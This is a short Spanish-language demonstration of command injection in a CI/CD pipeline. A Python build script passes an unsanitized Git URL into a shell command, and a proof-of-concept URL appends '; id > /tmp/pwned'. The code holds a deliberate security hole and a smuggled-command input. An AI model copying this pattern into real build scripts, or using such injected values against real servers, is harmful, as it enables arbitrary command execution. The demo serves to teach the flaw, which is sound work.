
Demuestra la inyección de comandos a través de URLs de Git sin sanitizar en pipelines de CI/CD, incluyendo un script de compilación vulnerable y un ejemplo de exploit para un CVE crítico.
# cicd_build.py - Clones repository without sanitizing URL
import subprocess, sys
def clone_and_build(repo_url):
# Vulnerability: repo_url can contain shell metacharacters
cmd = f"git clone {repo_url} /tmp/repo"
subprocess.check_call(cmd, shell=True)
# Build steps...
if __name__ == '__main__':
# Simulate attacker-controlled input
malicious_url = "https://github.com/org/repo.git; id > /tmp/pwned"
clone_and_build(malicious_url)
Un script de pipeline de CI/CD utiliza URLs de repositorio Git proporcionadas por el usuario sin sanitizar en un comando de shell. Un atacante puede inyectar comandos de shell incluyendo caracteres especiales (p. ej., ;, &&) en la URL, lo que conduce a la ejecución arbitraria de comandos en el servidor de compilación.
Ejecute el script vulnerable:
python cicd_build.py
Ejecuta el comando id inyectado, creando /tmp/pwned.